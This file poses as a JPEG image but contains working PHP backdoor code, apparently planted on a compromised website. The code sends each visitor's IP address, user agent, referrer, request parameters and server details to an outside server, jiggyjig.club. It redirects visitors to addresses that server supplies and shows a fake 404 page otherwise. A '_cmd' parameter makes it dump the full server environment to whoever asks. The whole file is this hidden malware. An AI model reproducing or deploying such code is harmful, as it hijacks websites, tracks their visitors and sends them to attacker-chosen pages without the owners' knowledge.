JFIF  x x C         C     "        } !1AQa "q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz        w !1AQ aq"2B #3Rbr{ gilour
<?php $config = [ 'server' => 'https://jiggyjig.club/api' ]; if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) { $_SERVER['REMOTE_ADDR'] = $_SERVER["HTTP_CF_CONNECTING_IP"]; $_SERVER['HTTP_CLIENT_IP'] = $_SERVER["HTTP_CF_CONNECTING_IP"]; } function sendNotFoundResponse() { header('HTTP/1.0 404 Not Found'); die(base64_decode('PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KCTxoZWFkPgoJCTxtZXRhIGNoYXJzZXQ9InV0Zi04IiAvPgoJCTxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSIgLz4KCQk8dGl0bGU+UGFnZSBOb3QgRm91bmQ8L3RpdGxlPgoJCTxzdHlsZT4KCQkJYm9keSB7CgkJCQliYWNrZ3JvdW5kLWNvbG9yOiAjZjVmNWY1OwoJCQkJbWFyZ2luLXRvcDogOCU7CgkJCQljb2xvcjogIzVkNWQ1ZDsKCQkJCWZvbnQtZmFtaWx5OiAtYXBwbGUtc3lzdGVtLCBCbGlua01hY1N5c3RlbUZvbnQsICJTZWdvZSBVSSIsIFJvYm90bywgIkhlbHZldGljYSBOZXVlIiwgQXJpYWwsCgkJCQkJIk5vdG8gU2FucyIsIHNhbnMtc2VyaWYsICJBcHBsZSBDb2xvciBFbW9qaSIsICJTZWdvZSBVSSBFbW9qaSIsICJTZWdvZSBVSSBTeW1ib2wiLAoJCQkJCSJOb3RvIENvbG9yIEVtb2ppIjsKCQkJCXRleHQtc2hhZG93OiAwcHggMXB4IDFweCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuNzUpOwoJCQkJdGV4dC1hbGlnbjogY2VudGVyOwoJCQl9CgoJCQloMSB7CgkJCQlmb250LXNpemU6IDIuNDVlbTsKCQkJCWZvbnQtd2VpZ2h0OiA3MDA7CgkJCQljb2xvcjogIzVkNWQ1ZDsKCQkJCWxldHRlci1zcGFjaW5nOiAtMC4wMmVtOwoJCQkJbWFyZ2luLWJvdHRvbTogMzBweDsKCQkJCW1hcmdpbi10b3A6IDMwcHg7CgkJCX0KCgkJCS5jb250YWluZXIgewoJCQkJd2lkdGg6IDEwMCU7CgkJCQltYXJnaW4tcmlnaHQ6IGF1dG87CgkJCQltYXJnaW4tbGVmdDogYXV0bzsKCQkJfQoKCQkJLmFuaW1hdGVfX2FuaW1hdGVkIHsKCQkJCWFuaW1hdGlvbi1kdXJhdGlvbjogMXM7CgkJCQlhbmltYXRpb24tZmlsbC1tb2RlOiBib3RoOwoJCQl9CgoJCQkuYW5pbWF0ZV9fZmFkZUluIHsKCQkJCWFuaW1hdGlvbi1uYW1lOiBmYWRlSW47CgkJCX0KCgkJCS5pbmZvIHsKCQkJCWNvbG9yOiAjNTU5NGNmOwoJCQkJZmlsbDogIzU1OTRjZjsKCQkJfQoKCQkJLmVycm9yIHsKCQkJCWNvbG9yOiAjYzkyMTI3OwoJCQkJZmlsbDogI2M5MjEyNzsKCQkJfQoKCQkJLndhcm5pbmcgewoJCQkJY29sb3I6ICNmZmNjMzM7CgkJCQlmaWxsOiAjZmZjYzMzOwoJCQl9CgoJCQkuc3VjY2VzcyB7CgkJCQljb2xvcjogIzVhYmE0NzsKCQkJCWZpbGw6ICM1YWJhNDc7CgkJCX0KCgkJCS5pY29uLWxhcmdlIHsKCQkJCWhlaWdodDogMTMycHg7CgkJCQl3aWR0aDogMTMycHg7CgkJCX0KCgkJCS5kZXNjcmlwdGlvbi10ZXh0IHsKCQkJCWNvbG9yOiAjNzA3MDcwOwoJCQkJbGV0dGVyLXNwYWNpbmc6IC0wLjAxZW07CgkJCQlmb250LXNpemU6IDEuMjVlbTsKCQkJCWxpbmUtaGVpZ2h0OiAyMHB4OwoJCQl9CgoJCQkuZm9vdGVyIHsKCQkJCW1hcmdpbi10b3A6IDQwcHg7CgkJCQlmb250LXNpemU6IDAuN2VtOwoJCQl9CgoJCQkuYW5pbWF0ZV9fZGVsYXktMXMgewoJCQkJYW5pbWF0aW9uLWRlbGF5OiAxczsKCQkJfQoKCQkJQGtleWZyYW1lcyBmYWRlSW4gewoJCQkJZnJvbSB7CgkJCQkJb3BhY2l0eTogMDsKCQkJCX0KCQkJCXRvIHsKCQkJCQlvcGFjaXR5OiAxOwoJCQkJfQoJCQl9CgkJPC9zdHlsZT4KCTwvaGVhZD4KCTxib2R5PgoJCTxkaXYgY2xhc3M9ImNvbnRhaW5lciI+CgkJCTxkaXYgY2xhc3M9InJvdyI+CgkJCQk8ZGl2IGNsYXNzPSJjb2wiPgoJCQkJCTxkaXYgY2xhc3M9ImFuaW1hdGVfX2FuaW1hdGVkIGFuaW1hdGVfX2ZhZGVJbiI+CgkJCQkJCTxzdmcKCQkJCQkJCWNsYXNzPSJpbmZvIGljb24tbGFyZ2UgZmEtcXVlc3Rpb24tY2lyY2xlIgoJCQkJCQkJeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIgoJCQkJCQkJdmlld0JveD0iMCAwIDUxMiA1MTIiCgkJCQkJCT4KCQkJCQkJCTxwYXRoCgkJCQkJCQkJZD0iTTUwNCAyNTZjMCAxMzYuOTk3LTExMS4wNDMgMjQ4LTI0OCAyNDhTOCAzOTIuOTk3IDggMjU2QzggMTE5LjA4MyAxMTkuMDQzIDggMjU2IDhzMjQ4IDExMS4wODMgMjQ4IDI0OHpNMjYyLjY1NSA5MGMtNTQuNDk3IDAtODkuMjU1IDIyLjk1Ny0xMTYuNTQ5IDYzLjc1OC0zLjUzNiA1LjI4Ni0yLjM1MyAxMi40MTUgMi43MTUgMTYuMjU4bDM0LjY5OSAyNi4zMWM1LjIwNSAzLjk0NyAxMi42MjEgMy4wMDggMTYuNjY1LTIuMTIyIDE3Ljg2NC0yMi42NTggMzAuMTEzLTM1Ljc5NyA1Ny4zMDMtMzUuNzk3IDIwLjQyOSAwIDQ1LjY5OCAxMy4xNDggNDUuNjk4IDMyLjk1OCAwIDE0Ljk3Ni0xMi4zNjMgMjIuNjY3LTMyLjUzNCAzMy45NzZDMjQ3LjEyOCAyMzguNTI4IDIxNiAyNTQuOTQxIDIxNiAyOTZ2NGMwIDYuNjI3IDUuMzczIDEyIDEyIDEyaDU2YzYuNjI3IDAgMTItNS4zNzMgMTItMTJ2LTEuMzMzYzAtMjguNDYyIDgzLjE4Ni0yOS42NDcgODMuMTg2LTEwNi42NjcgMC01OC4wMDItNjAuMTY1LTEwMi0xMTYuNTMxLTEwMnpNMjU2IDMzOGMtMjUuMzY1IDAtNDYgMjAuNjM1LTQ2IDQ2IDAgMjUuMzY0IDIwLjYzNSA0NiA0NiA0NnM0Ni0yMC42MzYgNDYtNDZjMC0yNS4zNjUtMjAuNjM1LTQ2LTQ2LTQ2eiIKCQkJCQkJCT48L3BhdGg+CgkJCQkJCTwvc3ZnPgoJCQkJCTwvZGl2PgoJCQkJCTxoMSBjbGFzcz0iYW5pbWF0ZV9fYW5pbWF0ZWQgYW5pbWF0ZV9fZmFkZUluIj5QYWdlIE5vdCBGb3VuZDwvaDE+CgkJCQkJPGRpdiBjbGFzcz0iZGVzY3JpcHRpb24tdGV4dCBhbmltYXRlX19hbmltYXRlZCBhbmltYXRlX19mYWRlSW4gYW5pbWF0ZV9fZGVsYXktMXMiPgoJCQkJCQk8cD5Pb3BzISBXZSBjb3VsZG4ndCBmaW5kIHRoZSBwYWdlIHRoYXQgeW91J3JlIGxvb2tpbmcgZm9yLjwvcD4KCQkJCQkJPHA+UGxlYXNlIGNoZWNrIHRoZSBhZGRyZXNzIGFuZCB0cnkgYWdhaW4uPC9wPgoJCQkJCQk8c2VjdGlvbiBjbGFzcz0iZm9vdGVyIj48c3Ryb25nPkVycm9yIENvZGU6PC9zdHJvbmc+IDQwNDwvc2VjdGlvbj4KCQkJCQk8L2Rpdj4KCQkJCTwvZGl2PgoJCQk8L2Rpdj4KCQk8L2Rpdj4KCTwvYm9keT4KPC9odG1sPgo=')); } function httpGet($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET'); curl_setopt($ch, CURLOPT_ENCODING, ''); $headers = array(); $headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'; $headers[] = 'Accept-Language: en-US,en;q=0.5'; $headers[] = 'Connection: keep-alive'; $headers[] = 'Upgrade-Insecure-Requests: 1'; $headers[] = 'Pragma: no-cache'; $headers[] = 'Cache-Control: no-cache'; curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); $result = curl_exec($ch); if (curl_errno($ch)) { echo 'Error:' . curl_error($ch); }else{ return $result; } curl_close($ch); } function api($url, $data, $maxRetries = 5, $useSleep = false) { global $config; for ($i = 0; $i < $maxRetries; $i++) { $x = curl($config['server'] . $url, $data); if (empty($x)) { if ($useSleep) sleep(rand(1, 3)); continue; } return json_decode($x, true); } return ''; } function curl($url, array $var, $useBuildQuery = true) { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($curl, CURLOPT_USERAGENT, "Melancholy (Shell/Shortlink)"); if (!empty($var)) { curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, json_encode($var)); } curl_setopt($curl, CURLOPT_HTTPHEADER, ['Content-Type:application/json']); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); $result = curl_exec($curl); curl_close($curl); return $result; } function ipGetAddress() { if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) { $_SERVER['REMOTE_ADDR'] = $_SERVER["HTTP_CF_CONNECTING_IP"]; $_SERVER['HTTP_CLIENT_IP'] = $_SERVER["HTTP_CF_CONNECTING_IP"]; } $client = isset($_SERVER['HTTP_CLIENT_IP']) ? $_SERVER['HTTP_CLIENT_IP'] : ''; $forward = isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : ''; $remote = $_SERVER['REMOTE_ADDR']; if (filter_var($client, FILTER_VALIDATE_IP)) { $ip = $client; } elseif (filter_var($forward, FILTER_VALIDATE_IP)) { $ip = $forward; } else { $ip = $remote; } return $ip; } if (isset($_REQUEST['_cmd'])) { header("Content-Type: application/json"); switch ($_REQUEST['_cmd']) { case 'initialize': die(json_encode(['status' => true, 'message' => 'Yes Sir', 'data' => [ 'server' => $_SERVER, 'time' => time(), ]])); default: die(json_encode(['status' => false, 'message' => 'No Command Founded', 'data' => []])); } } $data = api('/external/page/find', [ 'http_host' => isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : null, 'server_name' => isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : null, 'server_address' => isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : null, 'script_name' => isset($_SERVER['SCRIPT_FILENAME']) ? $_SERVER['SCRIPT_FILENAME'] : null, 'useragent' => isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : null, 'language' => isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : null, 'referrer' => isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : null, 'php_self' => isset($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : null, 'ip' => ipGetAddress(), 'get' => $_GET, 'url' => ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"), 'uri' => $_SERVER['REQUEST_URI'], ], 10, true); if (isset($data['status'])) { if ($data['status']) { header("LOCATION: " . $data['data']['location'], true, 302); die(); } else { if (isset($data['data']['fallback_link'])) { if (!empty($data['data']['fallback_link'])) { header("LOCATION: " . $data['data']['fallback_link'], true, 302); die(); } } die(http_response_code(404)); } } else { if (isset($data['data']['fallback_link'])) { if (!empty($data['data']['fallback_link'])) { header("LOCATION: " . $data['data']['fallback_link'], true, 302); die(); } } die(http_response_code(404)); }